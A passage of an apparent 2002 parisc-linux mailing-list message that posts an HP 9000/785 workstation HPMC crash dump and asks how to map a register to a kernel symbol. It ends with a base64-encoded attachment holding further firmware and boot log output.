28-31   0000000055555555  0000000055555555  000000001f1f8000  00000000103a8000
Space Registers 0 - 7

00-03   00000000          0000031a          00000000          0000031a
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001010863c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x003010bb
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00031800
System Responder Address     = 0xfffffffffed10200
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   00004000102fe810  000000011014cff4  f0000000102fe810  1037a010102de000
08-11   1030402000000002  0000000200000002  00000000102fd810  1039f810102fa810
12-15   103a00001079c000  0000000200000002  000000001039e264  102fa810103a0000
16-19   102fd8100000000b  103b6e4b102fdb28  0000000f103b6810  f00000000000000f
20-23   000000011039e000  f00000001013c70c  0000000000000008  0000000000000000
24-27   0000000a1fff90a0  0000999900000000  1079c00000000001  00001fb6102b6000
28-31   106b46a0102b61a8  1079c0001013e268  102fa810103a0000  100d4000100d45d0

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041000000000
Available Memory             = 0x0000000010000000
CPU Diagnose Register 2      = 0x0301000000000004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0x000000004e657874
Read Short LOG               = 0xc1af00fffee00f28
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp = 
  Tue Sep  3 14:26:13 GMT 2002    (20:02:09:03:14:26:13)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data Miss Timeout occurred while CPU 0 was
requesting information.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.


Memory Error Log Information:

Timestamp = 
  Tue Sep  3 14:26:13 GMT 2002    (20:02:09:03:14:26:13)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp = 
  Tue Sep  3 14:26:13 GMT 2002    (20:02:09:03:14:26:13)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    ----------   0x4e0cc009   ------------------
   5    ----------   0x5e0cc009   ------------------
   6    ----------   0x6e0cc009   ------------------
   7    ----------   0x7e0cc009   ------------------
Service Menu: Enter command > 

Well I presume that gr02 is 10108064 (from:
General Registers 0 - 31
00-03   0000000000000000  00000000103b7244  0000000010108064  00000000207f8000)

But where is iaoq (I do not found in linux/Documentation/parisc)?

here is what I got: grep 101080 /boot/System.map-2.4.19-pa9
10108000 T syscall_exit_rfi
10108064 t intr_return
10108078 t intr_check_resched
10108084 t intr_check_sig
10108090 t intr_restore


>
>kdb should work, although i haven't tried recently.
>

I will try later if required.

Thanks in advance for additional help,
    Joel

PS: I try to attached a complete log of the crash sequence b2k.crash.doc


--=========3D3815BD0000B0C0/mail.tiscali.be
Content-Type: application/msword
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="b2k.crash.doc"

ClBST0NFU1NPUiBQSU0gSU5GT1JNQVRJT04KCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNzb3Ig
MCBIUE1DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKICAgTm8gdmFsaWQgdGltZXN0
YW1wCgpIUE1DIENoYXNzaXMgQ29kZXMgPSBObyBjaGFzc2lzIGNvZGVzIGxvZ2dlZAoKR2VuZXJh
bCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxNi0xOSAg
IDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjI0LTI3ICAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MAoyOC0zMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRv
IHF1aXQpPiAKCkNvbnRyb2wgUmVnaXN0ZXJzIDAgLSAzMQowMC0wMyAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAK
MDQtMDcgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwICAwMDAwMDAwMDAwMDAwMDAwCjA4LTExICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxMi0xNSAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAw
MDAwMDAwMDAKMTYtMTkgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjIwLTIzICAgMDAwMDAwMDAwMDAwMDAwMCAg
MDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoyNC0y
NyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAg
IDAwMDAwMDAwMDAwMDAwMDAKMjgtMzEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwClNwYWNlIFJlZ2lzdGVycyAw
IC0gNwoKMDAtMDMgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAw
MCAgICAgICAgICAwMDAwMDAwMAowNC0wNyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAg
ICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwCgo8UHJlc3MgYW55IGtleSB0byBjb250
aW51ZSAocSB0byBxdWl0KT4gCgpJSUEgU3BhY2UgICAgICAgICAgICAgICAgICAgID0gMHgwMDAw
MDAwMDAwMDAwMDAwCklJQSBPZmZzZXQgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAw
MDAwMDAKQ2hlY2sgVHlwZSAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQ1BVIFN0YXRl
ICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQ2FjaGUgQ2hlY2sgICAgICAgICAgICAg
ICAgICA9IDB4MDAwMDAwMDAKVExCIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAw
MDAKQnVzIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0cyBDaGVj
ayAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0IFN0YXRlICAgICAgICAgICAgICAg
ICA9IDB4MDAwMDAwMDAKUGF0aCBJbmZvICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAK
U3lzdGVtIFJlc3BvbmRlciBBZGRyZXNzICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApTeXN0ZW0g
UmVxdWVzdG9yIEFkZHJlc3MgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwCgpGbG9hdGluZy1Qb2lu
dCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAgIDAwMDAwMDAw
MDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjEyLTE1ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxNi0xOSAg
IDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjI0LTI3ICAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MAoyOC0zMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRv
IHF1aXQpPiAKCkNoZWNrIFN1bW1hcnkgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAw
MDAKQXZhaWxhYmxlIE1lbW9yeSAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAw
MApDUFUgRGlhZ25vc2UgUmVnaXN0ZXIgMiAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwCkNQVSBT
dGF0dXMgUmVnaXN0ZXIgMCAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKQ1BVIFN0YXR1cyBS
ZWdpc3RlciAxICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApTQUREIExPRyAgICAgICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwClJlYWQgU2hvcnQgTE9HICAgICAgICAgICAg
ICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKRVJST1JfU1RBVFVTICAgICAgICAgICAgICAgICA9IDB4
MDAwMDAwMDAwMDAwMDAwMApNRU1fQUREUiAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAw
MDAwMDAwMDAwCk1FTV9TWU5EICAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAw
MDAKTUVNX0FERFJfQ09SUiAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApNRU1f
U1lORF9DT1JSICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwClJVTl9EQVRBX0hJ
R0ggICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKUlVOX0RBVEFfTE9XICAgICAg
ICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApSVU5fQ1RSTCAgICAgICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwClJVTl9BRERSICAgICAgICAgICAgICAgICAgICAgPSAw
eDAwMDAwMDAwMDAwMDAwMDAKU3lzdGVtIFJlc3BvbmRlciBQYXRoICAgICAgICA9IDB4MDAwMDAw
MDAwMDAwMDAwMAoKCkhQTUMgUElNIEFuYWx5c2lzIEluZm9ybWF0aW9uOgoKICAgTm8gdmFsaWQg
dGltZXN0YW1wCgoKCk1lbW9yeS9JTyBDb250cm9sbGVyIEVycm9yIEFuYWx5c2lzIEluZm9ybWF0
aW9uOgoKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRvIHF1aXQpPiAKCi0tLS0tLS0t
LS0tLS0tLS0tICBQcm9jZXNzb3IgMCBMUE1DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0t
LQoKQ2hlY2sgVHlwZSAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKSS9EIENhY2hlIFBh
cml0eSBJbmZvICAgICAgICA9IDB4MDAwMDAwMDAKQ2FjaGUgQ2hlY2sgICAgICAgICAgICAgICAg
ICA9IDB4MDAwMDAwMDAKVExCIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAK
QnVzIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0cyBDaGVjayAg
ICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0IFN0YXRlICAgICAgICAgICAgICAgICA9
IDB4MDAwMDAwMDAKUGF0aCBJbmZvICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKU3lz
dGVtIFJlc3BvbmRlciBBZGRyZXNzICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApTeXN0ZW0gUmVx
dWVzdG9yIEFkZHJlc3MgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwCgoKLS0tLS0tLS0tLS0tLS0t
LS0gIFByb2Nlc3NvciAwIFRPQyBJbmZvcm1hdGlvbiAtLS0tLS0tLS0tLS0tLS0tLS0tCgpHZW5l
cmFsIFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjA0LTA3ICAgMDAwMDAw
MDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMAowOC0xMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMTItMTUgICAwMDAwMDAwMDAwMDAwMDAwICAw
MDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjE2LTE5
ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAg
MDAwMDAwMDAwMDAwMDAwMAoyMC0yMyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMjQtMjcgICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwCjI4LTMxICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEg
dG8gcXVpdCk+IAoKQ29udHJvbCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAw
MDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MAowNC0wNyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjEyLTE1ICAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAwMDAwMDAwMAoxNi0xOSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMjAtMjMgICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjI0
LTI3ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMAoyOC0zMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKU3BhY2UgUmVnaXN0ZXJz
IDAgLSA3CgowMC0wMyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAw
MDAwICAgICAgICAgIDAwMDAwMDAwCjA0LTA3ICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAg
ICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAKCklJQSBTcGFjZSAgICAgICAgICAg
ICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKSUlBIE9mZnNldCAgICAgICAgICAg
ICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApDUFUgU3RhdGUgICAgICAgICAgICAgICAgICAg
ID0gMHgwMDAwMDAwMAoKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRpbnVlIChxIHRvIHF1aXQpPiAK
Ck1lbW9yeSBFcnJvciBMb2cgSW5mb3JtYXRpb246CgogICBObyB2YWxpZCB0aW1lc3RhbXAKCiAg
IE5vIG1lbW9yeSBlcnJvcnMgbG9nZ2VkCgoKSS9PIE1vZHVsZSBFcnJvciBMb2cgSW5mb3JtYXRp
b246CgogICBObyB2YWxpZCB0aW1lc3RhbXAKCiAgIE5vIEkvTyBtb2R1bGUgZXJyb3JzIGxvZ2dl
ZAoKU2VydmljZSBNZW51OiBFbnRlciBjb21tYW5kID4gbWEKCi0tLS0tIE1haW4gTWVudSAtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
CgogICAgICBDb21tYW5kICAgICAgICAgICAgICAgICAgICAgICAgICAgRGVzY3JpcHRpb24KICAg
ICAgLS0tLS0tLSAgICAgICAgICAgICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tCiAgICAgIEJP
b3QgW1BSSXxBTFR8PHBhdGg+XSAgICAgICAgICAgICBCb290IGZyb20gc3BlY2lmaWVkIHBhdGgK
ICAgICAgUEF0aCBbUFJJfEFMVHxDT058S0VZIFs8cGF0aD5dXSAgIERpc3BsYXkgb3IgbW9kaWZ5
IGEgcGF0aAogICAgICBTRUFyY2ggW0RJc3BsYXl8W1tJUExdIFs8cGF0aD5dXV0gU2VhcmNoIGZv
ciBib290IGRldmljZXMKCiAgICAgIENPbmZpZ3VyYXRpb24gWzxjb21tYW5kPl0gICAgICAgICBB
Y2Nlc3MgQ29uZmlndXJhdGlvbiBtZW51L2NvbW1hbmRzCiAgICAgIElOZm9ybWF0aW9uIFs8Y29t
bWFuZD5dICAgICAgICAgICBBY2Nlc3MgSW5mb3JtYXRpb24gbWVudS9jb21tYW5kcwogICAgICBT
RVJ2aWNlIFs8Y29tbWFuZD5dICAgICAgICAgICAgICAgQWNjZXNzIFNlcnZpY2UgbWVudS9jb21t
YW5kcwoKICAgICAgRElzcGxheSAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlZGlzcGxheSB0
aGUgY3VycmVudCBtZW51CiAgICAgIEhFbHAgWzxtZW51Pnw8Y29tbWFuZD5dICAgICAgICAgICBE
aXNwbGF5IGhlbHAgZm9yIG1lbnUgb3IgY29tbWFuZAogICAgICBSRVNFVCAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgUmVzdGFydCB0aGUgc3lzdGVtCi0tLS0tCk1haW4gTWVudTogRW50ZXIg
Y29tbWFuZCA+IGJvIGFsdApJbnRlcmFjdCB3aXRoIElQTCAoWSwgTiwgUSk/PiB5CgpCb290aW5n
Li4uIApCb290IElPIERlcGVuZGVudCBDb2RlIChJT0RDKSByZXZpc2lvbiAwCgoKSEFSRCBCb290
ZWQuCnBhbG8gaXBsIDEuMSByb290QGMzayBUdWUgQXVnICA2IDA5OjM5OjUxIE1EVCAyMDAyCklu
Zm9ybWF0aW9uOiBCb290IGRldmljZSBjYW4ndCBzZWVrIHBhc3QgMkdiIChpZ25vcmUgbmV4dCBl
cnJvcikuYnl0ZWlvX3JlYWQ6IHNlZWtyZWFkKCkgcmV0dXJuZWQgLTEgZXhwZWN0ZWQgMjA0OAoK
UGFydGl0aW9uIFN0YXJ0KE1CKSBFbmQoTUIpIElkIFR5cGUKMSAgICAgICAgICAgICAgIDEgICAg
ICA2MSAgIGYwIFBhbG8KMiAgICAgICAgICAgICAgNjIgICAgIDMwNiAgIDgyIHN3YXAKMyAgICAg
ICAgICAgICAzMDcgICAgIDM2NyAgIDgzIGV4dDIKNSAgICAgICAgICAgICAzNjggICAgMTk1MyAg
IDgzIGV4dDIKNiAgICAgICAgICAgIDE5NTQgICAgMjE5NyAgIDgzIGV4dDIKClBBTE8oRjApIHBh
cnRpdGlvbiBjb250YWluczoKICAgIDAvdm1saW51eDMyIDMzMjQ5OTMgYnl0ZXMgQCAweDQ0MDAw
CgpJbmZvcm1hdGlvbjogTm8gY29uc29sZSBzcGVjaWZpZWQgb24ga2VybmVsIGNvbW1hbmQgbGlu
ZS4gVGhpcyBpcyBub3JtYWwuClBBTE8gd2lsbCBjaG9vc2UgdGhlIGNvbnNvbGUgY3VycmVudGx5
IHVzZWQgYnkgZmlybXdhcmUgKHNlcmlhbCkuQ3VycmVudCBjb21tYW5kIGxpbmU6CjMvdm1saW51
eC0yLjQuMTktcHJlMTAtcGEzOS10c2kgcm9vdD0vZGV2L3NkYTUgSE9NRT0vIGNvbnNvbGU9dHR5
UzAgVEVSTT12dDEwMgogMDogMy92bWxpbnV4LTIuNC4xOS1wcmUxMC1wYTM5LXRzaQogMTogcm9v
dD0vZGV2L3NkYTUKIDI6IEhPTUU9LwogMzogY29uc29sZT10dHlTMAogNDogVEVSTT12dDEwMgoK
RWRpdCB3aGljaCBmaWVsZD8KKG9yICdiJyB0byBib290IHdpdGggdGhpcyBjb21tYW5kIGxpbmUp
PyAwCjMvdm1saW51eC0yLjQuMTktcGE5CkN1cnJlbnQgY29tbWFuZCBsaW5lOgozL3ZtbGludXgt
Mi40LjE5LXBhOSByb290PS9kZXYvc2RhNSBIT01FPS8gY29uc29sZT10dHlTMCBURVJNPXZ0MTAy
CiAwOiAzL3ZtbGludXgtMi40LjE5LXBhOQogMTogcm9vdD0vZGV2L3NkYTUKIDI6IEhPTUU9Lwog
MzogY29uc29sZT10dHlTMAogNDogVEVSTT12dDEwMgoKRWRpdCB3aGljaCBmaWVsZD8KKG9yICdi
JyB0byBib290IHdpdGggdGhpcyBjb21tYW5kIGxpbmUpPyBiCgpDb21tYW5kIGxpbmUgZm9yIGtl
cm5lbDogJ3Jvb3Q9L2Rldi9zZGE1IEhPTUU9LyBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIgcGFs
b19rZXJuZWw9My92bWxpbnV4LTIuNC4xOS1wYTknClNlbGVjdGVkIGtlcm5lbDogL3ZtbGludXgt
Mi40LjE5LXBhOSBmcm9tIHBhcnRpdGlvbiAzCkVMRjMyIGV4ZWN1dGFibGUKRW50cnkgMDAxMDAw
MDAgZmlyc3QgMDAxMDAwMDAgbiA2ClNlZ21lbnQgMCBsb2FkIDAwMTAwMDAwIHNpemUgMTk5OTk0
MCBtZWRpYXB0ciAweDEwMDAKU2VnbWVudCAxIGxvYWQgMDAyZWEwMDAgc2l6ZSA0NTMyNDggbWVk
aWFwdHIgMHgxZWEwMDAKU2VnbWVudCAyIGxvYWQgMDAzNWMwMDAgc2l6ZSAyNzA5NTIgbWVkaWFw
dHIgMHgyNTkwMDAKU2VnbWVudCAzIGxvYWQgMDAzYTAwMDAgc2l6ZSA4MTkyIG1lZGlhcHRyIDB4
MjljMDAwClNlZ21lbnQgNCBsb2FkIDAwM2E4MDAwIHNpemUgMzI3NjggbWVkaWFwdHIgMHgyOWUw
MDAKU2VnbWVudCA1IGxvYWQgMDAzZDFlYzAgc2l6ZSAxMDg0MTYgbWVkaWFwdHIgMHgyYTZlYzAK
QnJhbmNoaW5nIHRvIGtlcm5lbCBlbnRyeSBwb2ludCAweDAwMTAwMDAwLiAgSWYgdGhpcyBpcyB0
aGUgbGFzdAptZXNzYWdlIHlvdSBzZWUsIHlvdSBtYXkgbmVlZCB0byBzd2l0Y2ggeW91ciBjb25z
b2xlLiAgVGhpcyBpcwphIGNvbW1vbiBzeW1wdG9tIC0tIHNlYXJjaCB0aGUgRkFRIGFu
ZCBtYWlsaW5nIGxpc3QgYXQgcGFyaXNjLWxpbnV4Lm9yZwoKTGludXggdmVyc2lvbiAyLjQuMTkt
cGE5IChyb290QHBhbHgyMDAwKSAoZ2NjIHZlcnNpb24gMy4yLjEgMjAwMjA4MzAgKERlYmlhbiBw
cmVyZWxlYXNlKSkgIzEgVHVlIFNlcCAzIDE1OjEyOjEyIENFU1QgMjAwMgpGUFswXSBlbmFibGVk
OiBSZXYgMSBNb2RlbCAxNgpUaGUgMzItYml0IEtlcm5lbCBoYXMgc3RhcnRlZC4uLgpEZXRlcm1p
bmluZyBQREMgZmlybXdhcmUgdHlwZTogU3lzdGVtIE1hcC4KbW9kZWwgMDAwMDVkMDAgMDAwMDA0
ODEgMDAwMDAwMDAgMDAwMDAwMDIgNzdlOTM5MTAgMTAwMDAwZjAgMDAwMDAwMDggMDAwMDAwYjIg
MDAwMDAwYjIKdmVycyAgMDAwMDAzMDEKQ1BVSUQgdmVycyAxNyByZXYgMTEgKDB4MDAwMDAyMmIp
CmNhcGFiaWxpdGllcyAweDMKbW9kZWwgOTAwMC83ODUvQjIwMDAKVG90YWwgTWVtb3J5OiAyNTYg
TWIKcGFnZXRhYmxlX2luaXQKT24gbm9kZSAwIHRvdGFscGFnZXM6IDY1NTM2CnpvbmUoMCk6IDY1
NTM2IHBhZ2VzLgp6b25lKDEpOiAwIHBhZ2VzLgp6b25lKDIpOiAwIHBhZ2VzLgpMQ0QgZGlzcGxh
eSBhdCBmMDVkMDAwOCxmMDVkMDAwMCByZWdpc3RlcmVkCktlcm5lbCBjb21tYW5kIGxpbmU6IHJv
b3Q9L2Rldi9zZGE1IEhPTUU9LyBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIgcGFsb19rZXJuZWw9
My92bWxpbnV4LTIuNC4xOS1wYTkKQ29uc29sZTogY29sb3VyIGR1bW15IGRldmljZSAxNjB4NjQK
Q2FsaWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA3OTkuNTMgQm9nb01JUFMKTWVtb3J5OiAyNTU5NTJr
IGF2YWlsYWJsZQpEZW50cnkgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAzMjc2OCAob3JkZXI6
